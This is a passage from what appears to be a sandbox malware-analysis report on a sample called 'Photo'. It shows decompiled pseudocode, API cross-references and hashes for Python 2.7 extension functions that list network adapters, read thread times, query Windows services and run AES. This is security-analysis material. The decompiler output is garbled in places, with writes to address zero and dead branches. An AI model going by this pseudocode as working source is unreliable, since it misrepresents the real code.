												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t194 + 4)) + 0x18))))(_t194);
												_t197 = _t197 + 4;
											}
											_t186 =  *((intOrPtr*)(_t197 + 0x14));
											goto L23;
										}
									}
								}
							}
						}
					}
				}
				L68:
			}

0x02764fa2
0x02764fa4
0x02764fa6
0x02764fa8
0x02764fab
0x02764fad
0x02764fb1
0x02764fb5
0x02764fbb
0x02765377
0x02765380
0x02764fc1
0x02764fc1
0x02764fc6
0x02764fcc
0x0276530a
0x0276530a
0x0276530d
0x02765316
0x02765318
0x02765318
0x0276531d
0x0276531f
0x02765323
0x0276532c
0x0276532e
0x0276532e
0x02765323
0x02765333
0x02765335
0x02765338
0x02765341
0x02765343
0x02765343
0x02765338
0x02765348
0x0276534a
0x0276534d
0x02765356
0x02765358
0x02765358
0x0276534d
0x0276535b
0x02765361
0x02765363
0x02765366
0x0276536f
0x02765371
0x02765366
0x00000000
0x02764fd2
0x02764fd2
0x02764fd6
0x02765000
0x02765000
0x02765000
0x02765003
0x02765006
0x02765017
0x02765019
0x0276501e
0x027652f4
0x027652f9
0x027652ff
0x02765303
0x02765307
0x00000000
0x02765024
0x02765024
0x0276502c
0x0276511d
0x0276511f
0x027652b3
0x027652b3
0x027652b6
0x027652bf
0x027652c1
0x027652c1
0x027652c8
0x027652cb
0x027652d1
0x02764fe0
0x02764fe4
0x02764fe4
0x02764fe7
0x02764fea
0x02764fec
0x02764ff0
0x02764ff8
0x00000000
0x027652d7
0x027652dc
0x027652f3
0x027652f3
0x02765125
0x02765134
0x02765134
0x02765137
0x0276513d
0x00000000
0x00000000
0x0276513f
0x02765158
0x00000000
0x0276515e
0x0276515e
0x02765166
0x02765167
0x02765168
0x0276516f
0x027651bf
0x027651bf
0x027651cd
0x027651cf
0x027651d2
0x027651d8
0x00000000
0x027651de
0x027651e3
0x02765202
0x02765204
0x02765209
0x027651e5
0x027651ef
0x027651f3
0x027651f8
0x027651f8
0x0276520d
0x02765214
0x02765216
0x02765234
0x02765236
0x0276523b
0x00000000
0x02765241
0x02765247
0x0276524d
0x02765252
0x00000000
0x02765258
0x02765258
0x0276525c
0x02765265
0x02765267
0x02765267
0x0276526a
0x0276526e
0x02765271
0x0276527a
0x0276527c
0x0276527c
0x0276527f
0x02765283
0x02765286
0x0276528f
0x02765291
0x02765291
0x0276529b
0x027652a8
0x027652ad
0x02765130
0x02765134
0x02765137
0x0276513d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x027652ad
0x02765252
0x0276523b
0x02765171
0x02765188
0x0276518c
0x02765191
0x027651b7
0x027651b9
0x00000000
0x00000000
0x00000000
0x00000000
0x027651b9
0x0276516f
0x00000000
0x02765197
0x0276519a
0x027652a4
0x00000000
0x027651a0
0x027651b2
0x00000000
0x027651b2
0x00000000
0x0276519a
0x02765134
0x02765032
0x02765032
0x02765034
0x02765039
0x0276503c
0x0276503e
0x02765044
0x0276504c
0x0276504f
0x02765063
0x02765064
0x02765051
0x02765056
0x02765057
0x02765057
0x0276506f
0x02765079
0x0276507c
0x0276507d
0x02765080
0x02765085
0x02765048
0x00000000
0x02765048
0x02765085
0x0276508c
0x02765090
0x0276509d
0x0276509f
0x027650a4
0x00000000
0x027650aa
0x027650af
0x027650b6
0x027650bd
0x027650bf
0x027650d2
0x027650d4
0x027650d9
0x00000000
0x027650df
0x027650e5
0x027650eb
0x027650f0
0x00000000
0x027650f6
0x027650f6
0x027650fa
0x02765103
0x02765105
0x02765105
0x02765108
0x0276510b
0x02765114
0x02765116
0x02765116
0x02765119
0x00000000
0x02765119
0x027650f0
0x027650d9
0x027650a4
0x0276502c
0x0276501e
0x02764fcc
0x00000000

APIs

PyList_New.PYTHON27(00000000), ref: 02764F9C

Part of subcall function 02761200: GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 0276123C
Part of subcall function 02761200: 6C423B4E.MSVCR90(00000000), ref: 02761247
Part of subcall function 02761200: PyErr_SetString.PYTHON27(00000000,GetAdaptersAddresses() syscall failed.), ref: 02761274

PyUnicodeUCS2_FromWideChar.PYTHON27(?,?), ref: 02765011
Py_BuildValue.PYTHON27(0276B840,00000000), ref: 0276509B
Py_BuildValue.PYTHON27((OiOOOO),00000000,000000FF,00000000,6C6ACB14,6C6ACB14,6C6ACB14), ref: 027650D0
PyList_Append.PYTHON27(?,00000000), ref: 027650E5

Strings

%.2X-, xrefs: 02765064
N;Bl, xrefs: 027652DC, 027652F9
(OiOOOO), xrefs: 02765229
(OiOOOO), xrefs: 027650CB
%.2X, xrefs: 02765057

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: BuildList_Value$AdaptersAddressesAppendC423CharErr_FromStringUnicodeWide
String ID: %.2X$%.2X-$(OiOOOO)$(OiOOOO)$N;Bl
API String ID: 32328592-3965081155
Opcode ID: 2dc031a17231562df804fcfcb14e7f31f241395b060d5137cc82f742201f030a
Instruction ID: 2251167886cb105f31dae7ee29fa652ab9ea94972a20ed49c1c5f3358476d725
Opcode Fuzzy Hash: 2dc031a17231562df804fcfcb14e7f31f241395b060d5137cc82f742201f030a
Instruction Fuzzy Hash: 9DC1A1B1904301DFD714DF64D988A7BB3E8EF84328F484A18ED959B290D774E906DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 027624C0 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 197
threadCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E027624C0(signed long long __fp0, intOrPtr _a8) {
				int _v8;
				int _v12;
				int _v16;
				int _v20;
				int _v24;
				int _v28;
				int _v32;
				void* _v36;
				void* _v40;
				struct _FILETIME _v56;
				struct _FILETIME _v64;
				struct _FILETIME _v72;
				void* _v84;
				signed long long _v156;
				void* __ebx;
				void* _t41;
				void* _t42;
				void* _t47;
				void* _t61;
				void* _t70;
				void* _t88;
				void* _t90;
				void* _t92;
				void* _t95;
				intOrPtr* _t96;
				signed int _t98;
				void* _t101;
				signed long long* _t102;
				signed long long* _t104;
				signed long long _t112;

				_t112 = __fp0;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_v72.dwHighDateTime = 0;
				 *0x27692a4(0, _t88, _t92, _t70);
				_t101 = (_t98 & 0xffffffc0) - 0x74 + 4;
				if(0 == 0) {
					L18:
					return 0;
				} else {
					_t41 =  *0x2769308(_a8, "l",  &_v64);
					_t102 = _t101 + 0xc;
					if(_t41 == 0) {
						L11:
						_t90 = _v72.dwHighDateTime;
						goto L12;
					} else {
						_t46 = _v64.dwLowDateTime;
						if(_v64.dwLowDateTime != 0) {
							_t47 = E02765E90(0, _t46);
							_t102 =  &(_t102[0]);
							if(_t47 != 0) {
								if(_t47 == 0xffffffff) {
									goto L11;
								} else {
									_t95 = CreateToolhelp32Snapshot(4, 0);
									_v72.dwLowDateTime = _t95;
									if(_t95 != 0xffffffff) {
										_v36 = 0x1c;
										if(Thread32First(_t95,  &_v36) != 0) {
											do {
												if(_v28 != _v72.dwLowDateTime) {
													goto L37;
												} else {
													_t90 = OpenThread(0x40, 0, _v32);
													if(_t90 == 0) {
														goto L37;
													} else {
														if(GetThreadTimes(_t90,  &_v56,  &_v56,  &_v72,  &_v64) == 0) {
															E02761090("GetThreadTimes");
															_t102 =  &(_t102[0]);
															goto L12;
														} else {
															asm("fild dword [esp+0x4c]");
															if(_v72.dwLowDateTime < 0) {
															}
															asm("fild dword [esp+0x50]");
															if(_v72.dwHighDateTime < 0) {
															}
															_t112 =  *0x2769340 * st0;
															_t104 = _t102 - 0x10;
															asm("fxch st0, st3");
															asm("faddp st1, st0");
															_v156 = _t112;
															asm("fild dword [esp+0x64]");
															if(_v64.dwLowDateTime < 0) {
																_t112 = _t112 +  *0x2769350;
															}
															asm("fmulp st1, st0");
															asm("fild dword [esp+0x68]");
															if(_v64.dwHighDateTime < 0) {
																_t112 = _t112 +  *0x2769350;
															}
															asm("fmulp st2, st0");
															asm("faddp st1, st0");
															 *_t104 = _t112;
															_t96 =  *0x27692b4("kdd", _v40);
															_t102 =  &(_t104[3]);
															if(_t96 == 0) {
																L12:
																 *0x00000000 =  *0x00000000 + 0xffffffff;
																if( *0x00000000 == 0) {
																	_push(0);
																	 *((intOrPtr*)( *((intOrPtr*)( *0x00000004 + 0x18))))();
																}
																if(_t90 != 0) {
																	CloseHandle(_t90);
																}
																_t42 = _v72.dwHighDateTime;
																if(_t42 != 0) {
																	CloseHandle(_t42);
																}
																goto L18;
															} else {
																_t61 =  *0x2769314(0, _t96);
																_t102 =  &(_t102[1]);
																if(_t61 != 0) {
																	 *_t96 =  *_t96 + 0xffffffff;
																	if( *_t96 == 0) {
																		 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t96 + 4)) + 0x18))))(_t96);
																		_t102 =  &(_t102[0]);
																	}
																	goto L12;
																} else {
																	 *_t96 =  *_t96 + 0xffffffff;
																	if( *_t96 == 0) {
																		 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t96 + 4)) + 0x18))))(_t96);
																		_t102 =  &(_t102[0]);
																	}
																	CloseHandle(_t90);
																	_t95 = _v84;
																	goto L37;
																}
															}
														}
													}
												}
												goto L42;
												L37:
											} while (Thread32Next(_t95,  &_v40) != 0);
											CloseHandle(_t95);
											return 0;
										} else {
											_push("Thread32First");
											goto L9;
										}
									} else {
										_push("CreateToolhelp32Snapshot");
										L9:
										E02761090();
										goto L10;
									}
								}
							} else {
								E02761020(0x276d7e1);
								goto L10;
							}
						} else {
							E027610D0(0x276d7e0);
							L10:
							_t102 =  &(_t102[0]);
							goto L11;
						}
					}
				}
				L42:
			}

0x027624c0
0x027624d1
0x027624d5
0x027624d9
0x027624dd
0x027624e1
0x027624e5
0x027624e9
0x027624f0
0x027624f4
0x027624fc
0x02762501
0x027625a3
0x027625ab
0x02762507
0x02762515
0x0276251b
0x02762520
0x02762574
0x02762574
0x00000000
0x02762522
0x02762522
0x02762528
0x02762537
0x0276253c
0x02762541
0x02762552
0x00000000
0x02762554
0x0276255c
0x0276255e
0x02762565
0x027625b2
0x027625c1
0x027625d0
0x027625d8
0x00000000
0x027625de
0x027625ed
0x027625f1
0x00000000
0x027625f7
0x02762612
0x027626f4
0x027626f9
0x00000000
0x02762618
0x0276261c
0x02762622
0x02762622
0x02762636
0x0276263c
0x0276263c
0x0276264e
0x02762650
0x02762653
0x02762655
0x02762657
0x0276265b
0x02762661
0x02762663
0x02762663
0x0276266d
0x0276266f
0x02762675
0x02762677
0x02762677
0x02762681
0x02762683
0x02762685
0x02762694
0x02762696
0x0276269b
0x02762578
0x02762578
0x0276257b
0x02762583
0x02762584
0x02762586
0x0276258b
0x0276258e
0x0276258e
0x02762594
0x0276259a
0x0276259d
0x0276259d
0x00000000
0x027626a1
0x027626a3
0x027626a9
0x027626ae
0x02762701
0x02762704
0x02762711
0x02762713
0x02762713
0x00000000
0x027626b0
0x027626b0
0x027626b3
0x027626bc
0x027626be
0x027626be
0x027626c2
0x027626c8
0x00000000
0x027626c8
0x027626ae
0x0276269b
0x02762612
0x027625f1
0x00000000
0x027626cc
0x027626d7
0x027626e0
0x027626ee
0x027625c3
0x027625c3
0x00000000
0x027625c3
0x02762567
0x02762567
0x0276256c
0x0276256c
0x00000000
0x0276256c
0x02762565
0x02762543
0x02762548
0x00000000
0x02762548
0x0276252a
0x0276252f
0x02762571
0x02762571
0x00000000
0x02762571
0x02762528
0x02762520
0x00000000

APIs

PyList_New.PYTHON27(00000000), ref: 027624F4
PyArg_ParseTuple.PYTHON27(?,0276B458,?), ref: 02762515
CloseHandle.KERNEL32(?), ref: 0276258E
CloseHandle.KERNEL32(?), ref: 0276259D
Thread32First.KERNEL32 ref: 027625BA

Part of subcall function 027610D0: PyObject_CallFunction.PYTHON27(?,(is),0000000D,00000000,0276D7E0), ref: 0276110A
Part of subcall function 027610D0: PyErr_SetObject.PYTHON27(00000000,00000000,?,(is),0000000D,00000000,0276D7E0), ref: 0276111C

Strings

CreateToolhelp32Snapshot, xrefs: 02762567
kdd, xrefs: 02762689
GetThreadTimes, xrefs: 027626EF
Thread32First, xrefs: 027625C3

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: CloseHandle$Arg_CallErr_FirstFunctionList_ObjectObject_ParseThread32Tuple
String ID: CreateToolhelp32Snapshot$GetThreadTimes$Thread32First$kdd
API String ID: 3534724291-1357220548
Opcode ID: 2be389d263a51eec924dbf21afe881860555049fed48992e776d05d6f2700ad5
Instruction ID: 7738fcefb295811b1226bf570bbf9c48a787f701b4f53c0f5af2b03775f1baf5
Opcode Fuzzy Hash: 2be389d263a51eec924dbf21afe881860555049fed48992e776d05d6f2700ad5
Instruction Fuzzy Hash: EE6122B1A443109BD720AF24D85CA7BBBE8EB85754F108A1CFD55D2242EB31DD10CB93

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A2790 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 162COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(?,AddAuditAccessAceEx not supported by this version of Windows), ref: 1E7A27B2
PyArg_ParseTuple.PYTHON27(?,lllOii:AddAuditAccessAceEx,?,?,?,?,?,?), ref: 1E7A27E8

Strings

lllOii:AddAuditAccessAceEx, xrefs: 1E7A27E2
AddAuditAccessAceEx: unable to allocated %d bytes, xrefs: 1E7A2899
AddAuditAccessAceEx, xrefs: 1E7A2852
AddAuditAccessAceEx not supported by this version of Windows, xrefs: 1E7A27AC
AddAuditAccessAceEx, xrefs: 1E7A2906

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_Err_FormatParseTuple
String ID: AddAuditAccessAceEx$AddAuditAccessAceEx$AddAuditAccessAceEx not supported by this version of Windows$AddAuditAccessAceEx: unable to allocated %d bytes$lllOii:AddAuditAccessAceEx
API String ID: 361908667-1218672124
Opcode ID: 4f62646f4e95f1a3952be76998af2c15969b37605dc3e002b4711e8f296c3bed
Instruction ID: b79f4ae6a07f63d5b2327b5eb58c32ca723c03ca4d522f823c49ec7e8341b20d
Opcode Fuzzy Hash: 4f62646f4e95f1a3952be76998af2c15969b37605dc3e002b4711e8f296c3bed
Instruction Fuzzy Hash: 6B416876604251AFE200DB58DC85DBBB3ADEFC8619F484B1DF74583220E731E905CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02767930 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 130
serviceCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E02767930(intOrPtr _a8) {
				char _v4;
				char _v8;
				char _v28;
				void* _t12;
				intOrPtr* _t22;
				void* _t25;
				intOrPtr* _t41;
				intOrPtr _t48;
				intOrPtr* _t51;
				void* _t53;
				intOrPtr* _t61;
				void* _t62;
				void* _t63;

				_v8 = 0;
				_t12 =  *0x2769308(_a8, "s",  &_v4);
				if(_t12 != 0) {
					_t53 = E02767220(_v4, 4, 1);
					if(_t53 == 0) {
						L16:
						return 0;
					} else {
						_t61 =  *0x2769018;
						_v8 = 0;
						 *_t61(_t53, 1, 0, 0,  &_v8);
						if(GetLastError() != 0x3afc) {
							if(GetLastError() == 0x7a) {
								_t41 =  *0x27691b4(_v28);
								_push( &_v28);
								_push(_v28);
								_push(_t41);
								_push(1);
								_push(_t53);
								if( *_t61() != 0) {
									_t51 =  *_t41;
									if(_t51 != 0) {
										_t22 = _t51;
										_t62 = _t22 + 2;
										do {
											_t48 =  *_t22;
											_t22 = _t22 + 2;
										} while (_t48 != 0);
										_t25 =  *0x276928c(_t51, _t22 - _t62 >> 1);
									} else {
										_t25 =  *0x27692b4("s", 0x276d826);
									}
									_t63 = _t25;
									if(_t63 != 0) {
										 *0x2769214(_t41);
										CloseServiceHandle(_t53);
										return _t63;
									} else {
										CloseServiceHandle(_t53);
										goto L16;
									}
								} else {
									E02761090("QueryServiceConfig2W");
									CloseServiceHandle(_t53);
									return 0;
								}
							} else {
								E02761090("QueryServiceConfig2W");
								CloseServiceHandle(_t53);
								return 0;
							}
						} else {
							CloseServiceHandle(_t53);
							return  *0x27692b4("s", 0x276d825);
						}
					}
				} else {
					return _t12;
				}
			}

0x02767942
0x0276794a
0x02767955
0x0276796c
0x02767973
0x02767a6e
0x02767a76
0x02767979
0x02767979
0x0276798b
0x02767993
0x027679a2
0x027679ca
0x027679f7
0x02767a01
0x02767a02
0x02767a03
0x02767a04
0x02767a06
0x02767a0b
0x02767a2a
0x02767a2e
0x02767a42
0x02767a44
0x02767a47
0x02767a47
0x02767a4a
0x02767a4d
0x02767a58
0x02767a30
0x02767a3a
0x02767a3a
0x02767a5e
0x02767a65
0x02767a78
0x02767a82
0x02767a90
0x02767a67
0x02767a68
0x00000000
0x02767a68
0x02767a0d
0x02767a12
0x02767a1b
0x02767a29
0x02767a29
0x027679cc
0x027679d1
0x027679da
0x027679e8
0x027679e8
0x027679a4
0x027679a5
0x027679c4
0x027679c4
0x027679a2
0x0276795a
0x0276795a
0x0276795a

APIs

PyArg_ParseTuple.PYTHON27 ref: 0276794A
QueryServiceConfig2W.ADVAPI32 ref: 02767993
GetLastError.KERNEL32 ref: 0276799B
CloseServiceHandle.ADVAPI32(00000000), ref: 027679A5
Py_BuildValue.PYTHON27(0276D478,0276D825), ref: 027679B5

Strings

N;Bl, xrefs: 02767A78
QueryServiceConfig2W, xrefs: 02767A0D
QueryServiceConfig2W, xrefs: 027679CC

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Service$Arg_BuildCloseConfig2ErrorHandleLastParseQueryTupleValue
String ID: N;Bl$QueryServiceConfig2W$QueryServiceConfig2W
API String ID: 40459686-809366866
Opcode ID: 2d425b3f227d6f9abb16e2c74e9ac823603539d0c7a2034bcfb71ee2198e3dcc
Instruction ID: 202b93ff616c4409e685c61c62633f65a5d3ede6e76f6d411f0ed169345b29f2
Opcode Fuzzy Hash: 2d425b3f227d6f9abb16e2c74e9ac823603539d0c7a2034bcfb71ee2198e3dcc
Instruction Fuzzy Hash: EA312A75B94301AFE7146724FC4DBBB77B8EBC4B69F448424FE09D2100F375991986A2

Uniqueness

Uniqueness Score: -1.00%

Function 10002640 Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 301COMMON

Download Yara Rule

APIs

PyArg_Parse.PYTHON27(?,10008278,?,?), ref: 10002657
PyString_FromStringAndSize.PYTHON27(?,?), ref: 10002673

Strings

Unknown ciphertext feedback mode %i; this shouldn't happen, xrefs: 10002CEB
Input strings must be a multiple of the segment size %i in length, xrefs: 100026E9
No memory available in _AES encrypt, xrefs: 1000271C
Input strings must be a multiple of %i in length, xrefs: 100026AD

Memory Dump Source

Source File: 00000001.00000002.431765876.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.431757936.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.0000000010008000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.000000001000A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431800148.000000001000B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431809437.000000001000D000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Photo.jbxd

Similarity

API ID: Arg_FromParseSizeStringString_
String ID: Input strings must be a multiple of %i in length$Input strings must be a multiple of the segment size %i in length$No memory available in _AES encrypt$Unknown ciphertext feedback mode %i; this shouldn't happen
API String ID: 3161700426-857256258
Opcode ID: d3a07d06b37b28cfaea3aabaa4213df9c6d5dd82a4ba7e11da77229dcbfc2617
Instruction ID: 03771db918575ebceea7aedd78a9973ac5058a7fb175d017dceb0b7a6fb1152d
Opcode Fuzzy Hash: d3a07d06b37b28cfaea3aabaa4213df9c6d5dd82a4ba7e11da77229dcbfc2617
Instruction Fuzzy Hash: A1A108B55082429FD314CF68CCC495BB7F1FFC8284B158A6DE98A87319E731E949CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02767590 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 220
serviceCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E02767590() {
				void* _t44;
				struct _QUERY_SERVICE_CONFIG* _t50;
				intOrPtr* _t53;
				intOrPtr _t58;
				intOrPtr* _t60;
				intOrPtr* _t70;
				intOrPtr* _t92;
				void* _t93;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr _t103;
				intOrPtr* _t109;
				intOrPtr* _t110;
				intOrPtr* _t115;
				struct _QUERY_SERVICE_CONFIG* _t120;
				void* _t121;
				intOrPtr* _t122;
				void* _t125;
				void* _t127;
				intOrPtr* _t128;
				intOrPtr* _t130;
				void* _t131;
				void* _t132;
				void* _t133;
				void* _t134;
				void* _t135;
				void* _t136;

				_t130 = 0;
				 *((intOrPtr*)(_t132 + 0x14)) = 0;
				 *((intOrPtr*)(_t132 + 0x10)) = 0;
				 *((intOrPtr*)(_t132 + 0x1c)) = 0;
				_t44 =  *0x2769308( *((intOrPtr*)(_t132 + 0x1c)), "s", _t132 + 0x14);
				_t133 = _t132 + 0xc;
				if(_t44 != 0) {
					_t125 = E02767220( *((intOrPtr*)(_t133 + 0x14)), 4, 1);
					_t134 = _t133 + 0xc;
					 *(_t134 + 0x18) = _t125;
					if(_t125 == 0) {
						L40:
						return 0;
					} else {
						 *((intOrPtr*)(_t134 + 0x24)) = 0;
						QueryServiceConfigW(_t125, 0, 0, _t134 + 0x14);
						if(GetLastError() == 0x7a) {
							_t50 =  *0x27691b4( *(_t134 + 0x14));
							_t135 = _t134 + 4;
							_t120 = _t50;
							 *(_t135 + 0x20) = _t120;
							if(QueryServiceConfigW(_t125, _t120,  *(_t135 + 0x14), _t135 + 0x14) != 0) {
								_t109 =  *((intOrPtr*)(_t120 + 0x20));
								_t53 = _t109;
								_t121 = _t53 + 2;
								do {
									_t97 =  *_t53;
									_t53 = _t53 + 2;
								} while (_t97 != 0);
								_t92 =  *0x276928c;
								_t122 =  *_t92(_t109, _t53 - _t121 >> 1);
								_t136 = _t135 + 8;
								if(_t122 == 0) {
									goto L38;
								} else {
									_t110 =  *((intOrPtr*)( *((intOrPtr*)(_t136 + 0x10)) + 0xc));
									_t60 = _t110;
									_t127 = _t60 + 2;
									do {
										_t99 =  *_t60;
										_t60 = _t60 + 2;
									} while (_t99 != 0);
									_t128 =  *_t92(_t110, _t60 - _t127 >> 1);
									_t136 = _t136 + 8;
									if(_t128 == 0) {
										_t93 = 0;
										goto L26;
									} else {
										_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t136 + 0x10)) + 0x1c));
										_t70 = _t115;
										_t131 = _t70 + 2;
										do {
											_t103 =  *_t70;
											_t70 = _t70 + 2;
										} while (_t103 != 0);
										_t130 =  *_t92(_t115, _t70 - _t131 >> 1);
										_t136 = _t136 + 8;
										if(_t130 == 0) {
											_t93 =  *(_t136 + 0x1c);
											goto L26;
										} else {
											_t93 =  *0x27692b4("(OOOs)", _t122, _t128, _t130, E02767290( *((intOrPtr*)( *((intOrPtr*)(_t136 + 0x10)) + 4))));
											_t136 = _t136 + 0x14;
											if(_t93 == 0) {
												L26:
												 *_t122 =  *_t122 + 0xffffffff;
												if( *_t122 == 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t122 + 4)) + 0x18))))(_t122);
													_t136 = _t136 + 4;
												}
												if(_t128 != 0) {
													 *_t128 =  *_t128 + 0xffffffff;
													if( *_t128 == 0) {
														 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t128 + 4)) + 0x18))))(_t128);
														_t136 = _t136 + 4;
													}
												}
												if(_t130 != 0) {
													 *_t130 =  *_t130 + 0xffffffff;
													if( *_t130 == 0) {
														 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t130 + 4)) + 0x18))))(_t130);
														_t136 = _t136 + 4;
													}
												}
												if(_t93 != 0) {
													 *_t93 =  *_t93 + 0xffffffff;
													if( *_t93 == 0) {
														 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t93 + 4)) + 0x18))))(_t93);
														_t136 = _t136 + 4;
													}
												}
												_t125 =  *(_t136 + 0x18);
												_t130 = 0;
												goto L38;
											} else {
												 *_t122 =  *_t122 + 0xffffffff;
												if( *_t122 == 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t122 + 4)) + 0x18))))(_t122);
													_t136 = _t136 + 4;
												}
												 *_t128 =  *_t128 + 0xffffffff;
												if( *_t128 == 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t128 + 4)) + 0x18))))(_t128);
													_t136 = _t136 + 4;
												}
												 *_t130 =  *_t130 + 0xffffffff;
												if( *_t130 == 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t130 + 4)) + 0x18))))(_t130);
													_t136 = _t136 + 4;
												}
												 *0x2769214( *((intOrPtr*)(_t136 + 0x10)));
												CloseServiceHandle( *(_t136 + 0x1c));
												return _t93;
											}
										}
									}
								}
							} else {
								E02761090("QueryServiceConfigW");
								_t136 = _t135 + 4;
								goto L38;
							}
						} else {
							E02761090("QueryServiceConfigW");
							_t136 = _t134 + 4;
							L38:
							CloseServiceHandle(_t125);
							_t58 =  *((intOrPtr*)(_t136 + 0x10));
							if(_t58 != _t130) {
								 *0x2769214(_t58);
							}
							goto L40;
						}
					}
				} else {
					return _t44;
				}
			}

0x0276759d
0x027675a5
0x027675a9
0x027675ad
0x027675b1
0x027675b7
0x027675bc
0x027675d4
0x027675d6
0x027675d9
0x027675df
0x027677d3
0x027677dc
0x027675e5
0x027675f3
0x027675f7
0x02767602
0x0276761b
0x02767621
0x02767624
0x02767632
0x0276763a
0x0276764e
0x02767651
0x02767653
0x02767656
0x02767656
0x02767659
0x0276765c
0x02767661
0x0276766f
0x02767671
0x02767676
0x00000000
0x0276767c
0x02767680
0x02767683
0x02767685
0x02767690
0x02767690
0x02767693
0x02767696
0x027676a3
0x027676a5
0x027676aa
0x0276775b
0x00000000
0x027676b0
0x027676b4
0x027676b7
0x027676b9
0x027676c0
0x027676c0
0x027676c3
0x027676c6
0x027676d3
0x027676d5
0x027676da
0x0276775f
0x00000000
0x027676e0
0x027676fb
0x027676fd
0x02767702
0x02767763
0x02767763
0x02767766
0x0276776f
0x02767771
0x02767771
0x02767776
0x02767778
0x0276777b
0x02767784
0x02767786
0x02767786
0x0276777b
0x0276778b
0x0276778d
0x02767791
0x0276779a
0x0276779c
0x0276779c
0x02767791
0x027677a1
0x027677a3
0x027677a6
0x027677af
0x027677b1
0x027677b1
0x027677a6
0x027677b4
0x027677b8
0x00000000
0x02767704
0x02767704
0x02767707
0x02767710
0x02767712
0x02767712
0x02767715
0x02767718
0x02767721
0x02767723
0x02767723
0x02767726
0x0276772a
0x02767733
0x02767735
0x02767735
0x0276773d
0x0276774b
0x0276775a
0x0276775a
0x02767702
0x027676da
0x027676aa
0x0276763c
0x02767641
0x02767646
0x00000000
0x02767646
0x02767604
0x02767609
0x0276760e
0x027677ba
0x027677bb
0x027677c1
0x027677c7
0x027677ca
0x027677d0
0x00000000
0x027677c7
0x02767602
